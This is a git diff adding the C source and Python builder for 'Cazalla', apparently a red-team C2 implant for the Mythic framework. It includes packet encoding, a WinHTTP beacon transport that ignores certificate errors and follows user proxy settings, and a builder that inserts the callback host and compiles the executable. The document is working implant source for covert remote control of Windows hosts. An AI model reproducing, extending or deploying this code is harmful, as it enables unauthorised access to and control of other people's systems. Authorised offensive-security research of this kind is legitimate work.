_dbg(format, ...) _log(DBG, format, ## __VA_ARGS__) +#define _err(format, ...) _log(ERR, format, ## __VA_ARGS__) +#define _wrn(format, ...) _log(WRN, format, ## __VA_ARGS__) +#define _inf(format, ...) _log(INF, format, ## __VA_ARGS__) +#elif defined(_DEBUG_RELEASE) +#define DBG +#define ERR +#define WRN +#define INF +#define _log(level, format, ...) {HANDLE debugFile = CreateFileA("C:\\Temp\\Ra.log", FILE_APPEND_DATA , 0, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0);\ +CHAR out[200] = { 0 };\ +sprintf(out, format"\n", ## __VA_ARGS__);\ +WriteFile(debugFile, out, strlen(out), NULL, NULL);\ +CloseHandle(debugFile);} +#define _dbg(format, ...) _log(DBG, format, ## __VA_ARGS__) +#define _err(format, ...) _log(ERR, format, ## __VA_ARGS__) +#define _wrn(format, ...) _log(WRN, format, ## __VA_ARGS__) +#define _inf(format, ...) _log(INF, format, ## __VA_ARGS__) +#else +#define DBG +#define ERR +#define WRN +#define INF +#define _log(level, format, ...) +#define _dbg(format, ...) +#define _err(format, ...) +#define _wrn(format, ...) +#define _inf(format, ...) +#endif \ No newline at end of file diff --git a/Payload_Type/cazalla/cazalla/agent_code/cazalla/main.c b/Payload_Type/cazalla/cazalla/agent_code/cazalla/main.c new file mode 100644 index 0000000..ef409e9 --- /dev/null +++ b/Payload_Type/cazalla/cazalla/agent_code/cazalla/main.c @@ -0,0 +1,12 @@ +#include "cazalla.h" + +//#ifdef _DEBUG +//int main() +//#else +int WINAPI WinMain(_In_ HINSTANCE hInstance, _In_opt_ HINSTANCE hPrevInstance, _In_ LPSTR szArgs, _In_ int nCmdShow) +//#endif +{ + cazallaMain(); + + return 0; +} \ No newline at end of file diff --git a/Payload_Type/cazalla/cazalla/agent_code/cazalla/paquete.c b/Payload_Type/cazalla/cazalla/agent_code/cazalla/paquete.c new file mode 100644 index 0000000..5fc7f2a --- /dev/null +++ b/Payload_Type/cazalla/cazalla/agent_code/cazalla/paquete.c @@ -0,0 +1,122 @@ +#include "cazalla.h" +#include "paquete.h" + +//Creacion de un nuevo paquete. Si init es true, agrega el id del comando y el UUID al paquete. +PPaquete nuevoPaquete(BYTE idComando, BOOL init) { + //v2 change to syscalls + PPaquete paquete = (PPaquete)LocalAlloc(LPTR, sizeof(Paquete)); + if (!paquete) { + _err("Error: fallo al asignar memoria para Paquete\n"); + return NULL; + } + paquete->buffer = LocalAlloc(LPTR, sizeof(BYTE)); + if (!paquete->buffer) { + return NULL; + } + + paquete->length = 0; + if (init) { + addString(paquete, cazallaConfig->idAgente, FALSE); + addByte(paquete, idComando); + } + + return paquete; +} + +VOID liberarPaquete(PPaquete paquete) { + + LocalFree(paquete->buffer); + LocalFree(paquete); + +} + +PAnalizador mandarPaquete(PPaquete paquete) { + + + PCHAR paqueteParaMandar = b64Codificado((const unsigned char*)paquete->buffer, paquete->length); + SIZE_T tamanoDelPaquete = b64tamanoCodificado(paquete->length); + + PAnalizador respuesta = mandarYRecibir((PBYTE)paqueteParaMandar, tamanoDelPaquete); + + if (!respuesta) { + + paqueteParaMandar = NULL; + return NULL; + } + + return respuesta; + +} + +BOOL addByte(PPaquete paquete, BYTE byte) { + //v2. Syscalls + paquete->buffer = LocalReAlloc(paquete->buffer, paquete->length + sizeof(BYTE), LMEM_MOVEABLE); + if (!paquete->buffer) { + return FALSE; + } + ((PBYTE)paquete->buffer + paquete->length)[0] = byte; + paquete->length += 1; + return TRUE; +} + + +BOOL addInt32(PPaquete paquete, UINT32 valor) { + + paquete->buffer = LocalReAlloc(paquete->buffer, paquete->length + sizeof(UINT32), LMEM_MOVEABLE | LMEM_ZEROINIT); + if (!paquete->buffer) { + return FALSE; + } + + addInt32ToBuffer((PUCHAR)(paquete->buffer) + paquete->length, valor); + paquete->length += sizeof(UINT32); + return TRUE; +} + +BOOL addInt64(PPaquete paquete, UINT64 valor) { + + paquete->buffer = LocalReAlloc(paquete->buffer, paquete->length + sizeof(UINT64), LMEM_MOVEABLE | LMEM_ZEROINIT); + if (!paquete->buffer) { + return FALSE; + } + + addInt64ToBuffer((PUCHAR)(paquete->buffer), valor); + paquete->length += sizeof(UINT64); + return TRUE; +} + +BOOL addBytes(PPaquete paquete, PBYTE datos, SIZE_T tamano, BOOL tamanoCopia) { + + if (tamanoCopia && tamano) { + if (!addInt32(paquete, tamano)) { + return FALSE; + } + } + if (tamano) { + paquete->buffer = LocalReAlloc(paquete->buffer, paquete->length + tamano, LMEM_MOVEABLE | LMEM_ZEROINIT); + if (!paquete->buffer) { + return FALSE; + } + if (tamanoCopia) { + addInt32ToBuffer((PUCHAR)paquete->buffer + (paquete->length - sizeof(UINT32)), tamano); + } + //v2.syscalls + memcpy((PBYTE)paquete->buffer + paquete->length, datos, tamano); + paquete->length += tamano; + } + return TRUE; +} + +BOOL addString(PPaquete paquete, PCHAR datos, BOOL tamanoCopia) { + + if (!addBytes(paquete, (PBYTE)datos, strlen(datos), tamanoCopia)) { + return FALSE; + } + return TRUE; +} + +BOOL addWString(PPaquete paquete, PWCHAR datos, BOOL tamanoCopia) { + if (!addBytes(paquete, (PBYTE)datos, lstrlenW(datos) * 2, tamanoCopia)) { + return FALSE; + } + return TRUE; +} diff --git a/Payload_Type/cazalla/cazalla/agent_code/cazalla/paquete.h b/Payload_Type/cazalla/cazalla/agent_code/cazalla/paquete.h new file mode 100644 index 0000000..662f421 --- /dev/null +++ b/Payload_Type/cazalla/cazalla/agent_code/cazalla/paquete.h @@ -0,0 +1,31 @@ +#pragma once + +#ifndef PAQUETE_H +#define PAQUETE_H + +#include "utils.h" +#include "transporte.h" +#include "analizador.h" + +#define TASK_COMPLETE 0x95 +#define TASK_FAILED 0x99 + +typedef struct { + + PVOID buffer; + SIZE_T length; + +}Paquete, * PPaquete; + +PPaquete nuevoPaquete(BYTE idComando, BOOL init); +VOID liberarPaquete(PPaquete paquete); +PAnalizador mandarPaquete(PPaquete paquete); + +BOOL addByte(PPaquete paquete, BYTE byte); +BOOL addInt32(PPaquete paquete, UINT32 valor); +BOOL addInt64(PPaquete paquete, UINT64 valor); +BOOL addBytes(PPaquete paquete, PBYTE datos, SIZE_T tamano, BOOL tamanoCopia); +BOOL addString(PPaquete paquete, PCHAR datos, BOOL tamanoCopia); +BOOL addWString(PPaquete paquete, PWCHAR datos, BOOL tamanoCopia); + +#endif \ No newline at end of file diff --git a/Payload_Type/cazalla/cazalla/agent_code/cazalla/transporte.c b/Payload_Type/cazalla/cazalla/agent_code/cazalla/transporte.c new file mode 100644 index 0000000..b872f6c --- /dev/null +++ b/Payload_Type/cazalla/cazalla/agent_code/cazalla/transporte.c @@ -0,0 +1,123 @@ +#include "transporte.h" + +int obtenerCodigoDeEstado(HANDLE hPeticion) { + + DWORD codigoDeEstado = 0; + DWORD tamanoEstado = sizeof(DWORD); + if (!WinHttpQueryHeaders(hPeticion, WINHTTP_QUERY_STATUS_CODE | WINHTTP_QUERY_FLAG_NUMBER, WINHTTP_HEADER_NAME_BY_INDEX, &codigoDeEstado, &tamanoEstado, WINHTTP_NO_HEADER_INDEX)) + return 0; + return codigoDeEstado; +} + +Analizador* realizarPeticionHTTP(PBYTE bufferIn, UINT32 bufferLen) { + HANDLE hSesion = NULL, hConexion = NULL, hPeticion = NULL; + DWORD dwTamano = 0, dwDescargado = 0, codigoDeEstado = 0; + PVOID respBuffer = NULL; + DWORD respSize = 0; + UCHAR buffer[1024] = { 0 }; + DWORD httpFlags = WINHTTP_FLAG_BYPASS_PROXY_CACHE; + + // Configuración de Proxy + WINHTTP_PROXY_INFO infoProxy = { 0 }; + WINHTTP_CURRENT_USER_IE_PROXY_CONFIG configuracionProxy = { 0 }; + WINHTTP_AUTOPROXY_OPTIONS opcionesProxyAutomaticas = { 0 }; + + DWORD tipoDeAcceso = WINHTTP_ACCESS_TYPE_NO_PROXY; + LPCWSTR httpProxy = WINHTTP_NO_PROXY_NAME; + LPCWSTR noProxyBypass = WINHTTP_NO_PROXY_BYPASS; + + if (cazallaConfig->proxyHabilitado && cazallaConfig->urlProxy) { + tipoDeAcceso = WINHTTP_ACCESS_TYPE_NAMED_PROXY; + httpProxy = cazallaConfig->urlProxy; + } + + if (cazallaConfig->SSL) { + httpFlags |= WINHTTP_FLAG_SECURE; + } + + // Crear sesión HTTP + hSesion = WinHttpOpen(cazallaConfig->userAgent, tipoDeAcceso, httpProxy, noProxyBypass, 0); + if (!hSesion) return NULL; + + // Conectar al servidor + hConexion = WinHttpConnect(hSesion, cazallaConfig->hostName, cazallaConfig->puertoHttp, 0); + if (!hConexion) return NULL; + + // Crear petición HTTP/HTTPS + hPeticion = WinHttpOpenRequest(hConexion, cazallaConfig->metodoHttp, cazallaConfig->endPoint, NULL, NULL, NULL, httpFlags); + if (!hPeticion) return NULL; + + // Configurar opciones de seguridad si es HTTPS + if (cazallaConfig->SSL) { + DWORD opcionesSeguridad = SECURITY_FLAG_IGNORE_UNKNOWN_CA | + SECURITY_FLAG_IGNORE_CERT_DATE_INVALID | + SECURITY_FLAG_IGNORE_CERT_CN_INVALID | + SECURITY_FLAG_IGNORE_CERT_WRONG_USAGE; + + WinHttpSetOption(hPeticion, WINHTTP_OPTION_SECURITY_FLAGS, &opcionesSeguridad, sizeof(DWORD)); + } + + // Configurar proxy si está habilitado + if (WinHttpGetIEProxyConfigForCurrentUser(&configuracionProxy)) { + if (configuracionProxy.lpszProxy != NULL && lstrlenW(configuracionProxy.lpszProxy) != 0) { + infoProxy.dwAccessType = WINHTTP_ACCESS_TYPE_NAMED_PROXY; + infoProxy.lpszProxy = configuracionProxy.lpszProxy; + infoProxy.lpszProxyBypass = configuracionProxy.lpszProxyBypass; + WinHttpSetOption(hPeticion, WINHTTP_OPTION_PROXY, &infoProxy, sizeof(infoProxy)); + } + } + + // Enviar la petición + if (!WinHttpSendRequest(hPeticion, WINHTTP_NO_ADDITIONAL_HEADERS, 0, bufferIn, bufferLen, bufferLen, 0)) { + _err("WinHttpSendRequest falló con error %u\n", GetLastError()); + return NULL; + } + + // Recibir respuesta + if (!WinHttpReceiveResponse(hPeticion, NULL)) { + _err("Error al recibir respuesta HTTP\n"); + return NULL; + } + + codigoDeEstado = obtenerCodigoDeEstado(hPeticion); + if (codigoDeEstado != 200) { + _err("[HTTP] Código de estado no OK --> %d\n", codigoDeEstado); + return NULL; + } + + // Leer respuesta + do { + dwTamano = 1024; + if (!WinHttpQueryDataAvailable(hPeticion, &dwTamano)) { + printf("[HTTP] Error %u en WinHttpQueryDataAvailable.\n", GetLastError()); + return NULL; + } + + if (!WinHttpReadData(hPeticion, buffer, 1024, &dwDescargado)) { + printf("[HTTP] Error %u en WinHttpReadData.\n", GetLastError()); + return NULL; + } + + respSize += dwDescargado; + if (!respBuffer) { + respBuffer = LocalAlloc(LPTR, respSize); + } + else { + respBuffer = LocalReAlloc(respBuffer, respSize, LMEM_MOVEABLE | LMEM_ZEROINIT); + } + + memcpy((PBYTE)respBuffer + (respSize - dwDescargado), buffer, dwDescargado); + memset(buffer, 0, 1024); + + } while (dwTamano > 0); + + respBuffer = LocalReAlloc(respBuffer, respSize + 1, LMEM_MOVEABLE | LMEM_ZEROINIT); + return nuevoAnalizador((PBYTE)respBuffer, respSize); +} +Analizador* mandarYRecibir(PBYTE datos, SIZE_T tamano) { + +#ifdef HTTP_TRANSPORT + return realizarPeticionHTTP(datos, tamano); +#endif + return NULL; +} \ No newline at end of file diff --git a/Payload_Type/cazalla/cazalla/agent_code/cazalla/transporte.h b/Payload_Type/cazalla/cazalla/agent_code/cazalla/transporte.h new file mode 100644 index 0000000..7635e37 --- /dev/null +++ b/Payload_Type/cazalla/cazalla/agent_code/cazalla/transporte.h @@ -0,0 +1,16 @@ +#pragma once +#ifndef TRANSPORTE +#define TRANSPORTE + +#include +#include +#include "cazalla.h" +#include "analizador.h" + +#pragma comment(lib, "winhttp.lib") + +#define HTTP_TRANSPORT + +Analizador* mandarYRecibir(PBYTE datos, SIZE_T tamano); + +#endif \ No newline at end of file diff --git a/Payload_Type/cazalla/cazalla/agent_code/cazalla/utils.c b/Payload_Type/cazalla/cazalla/agent_code/cazalla/utils.c new file mode 100644 index 0000000..d7b034c --- /dev/null +++ b/Payload_Type/cazalla/cazalla/agent_code/cazalla/utils.c @@ -0,0 +1,193 @@ +#include "utils.h" + +int b64invs[] = { 62, -1, -1, -1, 63, 52, 53, 54, 55, 56, 57, 58, + 59, 60, 61, -1, -1, -1, -1, -1, -1, -1, 0, 1, 2, 3, 4, 5, + 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, + 21, 22, 23, 24, 25, -1, -1, -1, -1, -1, -1, 26, 27, 28, + 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, + 43, 44, 45, 46, 47, 48, 49, 50, 51 }; + +const char b64chars[] = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"; + + +size_t b64tamanoCodificado(size_t inlen) { + + size_t ret; + + ret = inlen; + if (inlen % 3 != 0) + ret += 3 - (inlen % 3); + ret /= 3; + ret *= 4; + + return ret; +} + +char* b64Codificado(const unsigned char* in, SIZE_T len) { + + char* out; + SIZE_T elen; + SIZE_T i; + SIZE_T j; + SIZE_T v; + + if (in == NULL || len == 0) { + return NULL; + } + + elen = b64tamanoCodificado(len); + out = (char*)LocalAlloc(LPTR, elen + 1); + if (!out) { + return NULL; + } + out[elen] = '\0'; + + for (i = 0, j = 0; i < len; i += 3, j += 4) { + + v = in[i]; + v = i + 1 < len ? v << 8 | in[i + 1] : v << 8; + v = i + 2 < len ? v << 8 | in[i + 2] : v << 8; + + out[j] = b64chars[(v >> 18) & 0x3F]; + out[j + 1] = b64chars[(v >> 12) & 0x3F]; + if (i + 1 < len) { + + out[j + 2] = b64chars[(v >> 6) & 0x3F]; + } + else { + + out[j + 2] = '='; + } + if (i + 2 < len) { + + out[j + 3] = b64chars[v & 0x3F]; + } + else { + out[j + 3] = '='; + } + } + + return out; +} + +SIZE_T b64tamanoDecodificado(const char* in) { + + SIZE_T len; + SIZE_T ret; + SIZE_T i; + + if (in == NULL) { + return 0; + } + + len = strlen(in); + ret = len / 4 * 3; + + for (i = len; i-- > 0; ) { + if (in[i] == '=') { + ret--; + } + else { + break; + } + } + + return ret; +} + +int b64IsValidChar(char c) { + + if (c >= '0' && c <= '9') { + return 1; + } + + if (c >= 'A' && c <= 'Z') { + return 1; + } + + if (c >= 'a' && c <= 'z') { + return 1; + } + + if (c == '+' || c == '/' || c == '=') { + return 1; + } + + return 0; +} + + +int b64Decodificado(const char* in, unsigned char* out, SIZE_T outlen) { + + SIZE_T len; + SIZE_T i; + SIZE_T j; + int v; + + if (in == NULL || out == NULL) { + return 0; + } + + len = strlen(in); + if (outlen < b64tamanoDecodificado(in) || len % 4 != 0) { + return 0; + } + + for (i = 0; i < len; i++) { + if (!b64IsValidChar(in[i])) { + return 0; + } + } + + for (i = 0, j = 0; i < len; i += 4, j += 3) { + v = b64invs[in[i] - 43]; + v = (v << 6) | b64invs[in[i + 1] - 43]; + v = in[i + 2] == '=' ? v << 6 : (v << 6) | b64invs[in[i + 2] - 43]; + v = in[i + 3] == '=' ? v << 6 : (v << 6) | b64invs[in[i + 3] - 43]; + + out[j] = (v >> 16) & 0xFF; + if (in[i + 2] != '=') { + out[j + 1] = (v >> 8) & 0xFF; + } + if (in[i + 3] != '=') { + out[j + 2] = v & 0xFF; + + } + } + return 1; +} + + +VOID addInt32ToBuffer(PBYTE buffer, UINT32 value) { + + (buffer)[0] = (value >> 24) & 0xFF; + (buffer)[1] = (value >> 16) & 0xFF; + (buffer)[2] = (value >> 8) & 0xFF; + (buffer)[3] = (value) & 0xFF; +} + +VOID addInt64ToBuffer(PBYTE buffer, UINT64 value) { + + buffer[7] = value & 0xFF; + value >>= 8; + + buffer[6] = value & 0xFF; + value >>= 8; + + buffer[5] = value & 0xFF; + value >>= 8; + + buffer[4] = value & 0xFF; + value >>= 8; + + buffer[3] = value & 0xFF; + value >>= 8; + + buffer[2] = value & 0xFF; + value >>= 8; + + buffer[1] = value & 0xFF; + value >>= 8; + + buffer[0] = value & 0xFF; +} \ No newline at end of file diff --git a/Payload_Type/cazalla/cazalla/agent_code/cazalla/utils.h b/Payload_Type/cazalla/cazalla/agent_code/cazalla/utils.h new file mode 100644 index 0000000..b998517 --- /dev/null +++ b/Payload_Type/cazalla/cazalla/agent_code/cazalla/utils.h @@ -0,0 +1,25 @@ +#pragma once +#ifndef UTILS +#define UTILS +#include +#include "debug.h" + + +#ifdef __MINGW64__ +#define BYTESWAP32(x) __builtin_bswap32( x ) +#define BYTESWAP64(x) __builtin_bswap64( x ) +#endif +#ifdef _MSC_VER +#define BYTESWAP32(x) _byteswap_ulong(x) +#define BYTESWAP64(x) _byteswap_uint64(x) +#endif + +SIZE_T b64tamanoDecodificado(const char* in); +int b64Decodificado(const char* in, unsigned char* out, SIZE_T outlen); +char* b64Codificado(const unsigned char* in, SIZE_T len); +size_t b64tamanoCodificado(size_t inlen); + + +VOID addInt64ToBuffer(PBYTE buffer, UINT64 value); +VOID addInt32ToBuffer(PBYTE buffer, UINT32 value); +#endif diff --git a/Payload_Type/cazalla/cazalla/agent_functions/__init__.py b/Payload_Type/cazalla/cazalla/agent_functions/__init__.py new file mode 100644 index 0000000..e69de29 diff --git a/Payload_Type/cazalla/cazalla/agent_functions/builder.py b/Payload_Type/cazalla/cazalla/agent_functions/builder.py new file mode 100644 index 0000000..d901cfb --- /dev/null +++ b/Payload_Type/cazalla/cazalla/agent_functions/builder.py @@ -0,0 +1,131 @@ +import pathlib +import tempfile +from mythic_container.PayloadBuilder import * +from mythic_container.MythicCommandBase import * +from mythic_container.MythicRPC import * +import json +from distutils.dir_util import copy_tree +import asyncio + + +class CazallaAgent(PayloadType): + name = "Cazalla" + file_extension = "exe" + author = "OFSTeam" + supported_os = [SupportedOS.Windows] + wrapper = False + wrapped_payloads = [] + note = """C implant Developed by the Kaseya OFSTeam""" + supports_dynamic_loading = False + c2_profiles = ["http"] + mythic_encrypts = False + translation_container = "cazalla_translator" + build_parameters = [ + BuildParameter( + name="output", + parameter_type=BuildParameterType.ChooseOne, + description="Choose output format", + choices=["exe", "dll", "debug_exe","debug_dll"], + default_value="exe" + ), + ] + agent_path = pathlib.Path(".") / "cazalla" + agent_icon_path = agent_path / "agent_functions" / "cazalla.png" + agent_code_path = agent_path / "agent_code" + + build_steps = [ + BuildStep(step_name="Gathering Files", step_description="Creating script payload"), + BuildStep(step_name="Applying configuration", step_description="Updating configuration constants"), + BuildStep(step_name="Compiling", step_description="Compiling with mingw"), + ] + + async def build(self) -> BuildResponse: + # this function gets called to create an instance of your payload + resp = BuildResponse(status=BuildStatus.Success) + Config = { + "payload_uuid": self.uuid, + "callback_host": "", + "USER_AGENT": "", + "httpMethod": "POST", + "post_uri": "", + "headers": [], + "callback_port": 80, + "ssl":False, + "proxyEnabled": False, + "proxy_host": "", + "proxy_user": "", + "proxy_pass": "", + } + stdout_err = "" + for c2 in self.c2info: + profile = c2.get_c2profile() + for key, val in c2.get_parameters_dict().items(): + if isinstance(val, dict) and 'enc_key' in val: + stdout_err += "Setting {} to {}".format(key, val["enc_key"] if val["enc_key"] is not None else "") + encKey = base64.b64decode(val["enc_key"]) if val["enc_key"] is not None else "" + else: + Config[key] = val + break + + if "https://" in Config["callback_host"]: + Config["ssl"] = True + + Config["callback_host"] = Config["callback_host"].replace("https://", "").replace("http://","") + if Config["proxy_host"] != "": + Config["proxyEnabled"] = True + # create the payload + await SendMythicRPCPayloadUpdatebuildStep(MythicRPCPayloadUpdateBuildStepMessage( + PayloadUUID=self.uuid, + StepName="Gathering Files", + StepStdout="Found all files for payload", + StepSuccess=True + )) + agent_build_path = tempfile.TemporaryDirectory(suffix=self.uuid) + copy_tree(str(self.agent_code_path), agent_build_path.name) + + await SendMythicRPCPayloadUpdatebuildStep(MythicRPCPayloadUpdateBuildStepMessage( + PayloadUUID=self.uuid, + StepName="Applying configuration", + StepStdout="All configuration setting applied", + StepSuccess=True + )) + with open(agent_build_path.name+"/cazalla/Config.h", "r+") as f: + content = f.read() + content = content.replace("%UUID%", Config["payload_uuid"]) + content = content.replace("%HOSTNAME%", Config["callback_host"]) + content = content.replace("%ENDPOINT%", Config["post_uri"]) + if Config["ssl"]: + content = content.replace("%SSL%", "TRUE") + else: + content = content.replace("%SSL%", "FALSE") + content = content.replace("%PORT%", str(Config["callback_port"])) + content = content.replace("%SLEEPTIME%", str(Config["callback_interval"])) + content = content.replace("%USERAGENT%", Config["USER_AGENT"]) + content = content.replace("%PROXYURL%", Config["proxy_host"]) + if Config["proxyEnabled"]: + content = content.replace("%PROXYENABLED%", "TRUE") + else: + content = content.replace("%PROXYENABLED%", "FALSE") + f.seek(0) + f.write(content) + f.truncate() + + command = "make -C {} exe".format(agent_build_path.name+"/cazalla") + filename = agent_build_path.name + "/cazalla/build/cazalla.exe" + proc = await asyncio.create_subprocess_shell(command, stdout=asyncio.subprocess.PIPE, + stderr=asyncio.subprocess.PIPE) + + stdout, stderr = await proc.communicate() + print(stdout) + print(stderr) + + await SendMythicRPCPayloadUpdatebuildStep(MythicRPCPayloadUpdateBuildStepMessage( + PayloadUUID=self.uuid, + StepName="Compiling", + StepStdout="Successfuly compiled Ra", + StepSuccess=True + )) + build_msg = "" + resp.payload = open(filename, "rb").read() + + return resp diff --git a/Payload_Type/cazalla/cazalla/agent_functions/cazalla.png b/Payload_Type/cazalla/cazalla/agent_functions/cazalla.png new file mode 100644 index 0000000000000000000000000000000000000000..fadc967a8f12111d3e12c95570bf3ff4dd3e5538 GIT binary patch literal 208556 zcmeFZ30Tcr`#)TWbIKH{G%G`;Vb4ROhTWt=kp>O+R8qTn*v&*}H*ASS6KPOXiUy5_ z+8a?6g;Z)INyBc?T<_Z9@SMka&hh+zzxR5t_pgi6_q*1;?)6#sd@nm{m#O|LUJ+g{ zF0NIE2D%npTuY@me}7vJp0s-|KLCFG?rC7-!^Oq7p7WQR>wJnZ7uT+Imp#_L)+WX( zL=TD*p5#FwD^V$)U^Ew(nkLl~Pjn^wN)gD;F7E2mLzT7CQZ6KQX)B}&#KcpFe89yZ z$eX-7$aD`e$d!mCNo#8Gs!>${0Seg{FGZ!ex%;S4)uk8ds(^oU9xF>rEe`Q@RhQP{ zEGT7dvP(+G!<#IHR6;2dAtT7V*j>~p}UVS-knGW`~&Wk zT)-j_G!%=1KuC%hB$l8^AR~y11SA2eNFX}FkOYF06P5t^O8UF$|3+Gu?Cs)DCh2*5 zP!`q36YuRq=7_Mm^j8`FL(jfoyQl;zF8|IG5eb74$w-7E3<7adbiyJ~iUjaL5g>rT zpixk)69%EC{BP60@dOr7`}`Up`Srv&J0^i0!*!r29W(-kh9GpIP@J~5o*q(L3j)#7 zMrfgMD7~+gznl6a${zoXOnheQ2UEYT@D=Ru0R4A?G;s0p_3#e-?geMd9CNjs?Delt zzrJvD`G@E7$LRpeqJk%K455Y(9-J))nD3r_WBKz8&O)CD{2v@ChyHid|9Xvp17vp% z7z7w|2wD+>*aJnWAkZpE%ytM&1p*}YGbf9q{+fu7hm&sr-kYrD43t{qvn$&5)iO!x z=q$P(DOoEQcaledkK9+P|2plj$rBIY-JQuK4dt&Bzdrc$6g6ee(Yd+&FPt3F!`+|k z?fVm_2Q(KCyfoR{N5hGu%`OzYGgb=s->stKO~wO5 zyvM`C?Vp&BKTr7v_cv-}UA!;(Uo0D31&UCCK)+hHKZtxD`6n7C9wZm1z<;ChC+o4yud zfu~L$-W0sA#%D9OXt=&T{Ep#o(UvjU8BYu}+_gtX*TtFakgM&i#FjyUoHd+UZ z#=!L82owyCfS{2WG#UqDz5g)zhfC;qxOsSk10ZX_zn}c=@egNx4ehi*2*>gNK0km~ z8}IzDPdPU5i+6!z^x#lEoHkSosjH<6fnty_1QHEHLUBk40;7fdG2Gu1z~OXsVK^Nu z5{l4AyA z9iavqfdMRFbf8F#4i2TIi@>4b2wfxw1<{2fkq{6C{|x~Q0_+xtL+YWRAm)Q(;c$c= z5`oauLhAxl5P#1B76sMShG;_(FbEco($mvH;?Ou992|u}!4Wt(2p|8316^$$I24Q4 z(}4hfAy}NQwl)$2M`{BKT4)#)M7DoJKo5pNBOyqXE>T=%k23;2~Hd7UP70 z{K?A`txHzPCX)z65{8U*f+H~hd7kqD6aE^>`W z1FlIV5}W|X6QKyyf6Fz73^HgG5M-cu9Bm{6F$5(yMG}Mnq>@Mg<%GZRyx+NkA7hP2 zIAO_75FjBCr$xE`pTioDMqr^>B!?%{kxpP2FM#|{ z$u&TOjD`U~fPLm1BT#fuC36B^3`&F{VQ3POQ#SgqB*Y1Ufn%J2?}9;59Burs92f|? z7Yk5OI2;Bgg31<*=!69Z4*`mAco;+xPawlEBv9)klR&NIZ}|L53`Qa$ok*Yz0wn_z zhadp8!=gZu5RFF>&?pFoOu+uVYyC9hyJgK|8vZ+1Sk@V1hN3ZgBT1rJu-0Kz~RD4 zcqjsn#z3K1@;~Mb3yzXVf`c+K2`DfE3k)0qfoDrZ1EEx_1eIq2Epol<{fskN;LSP{n48aLShL8yV`~V1OGzLwEKom)2DA*

1{?u~L_#kz~NBNHj!Y%7%T!rf&}1}5hx-^JpQqq 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 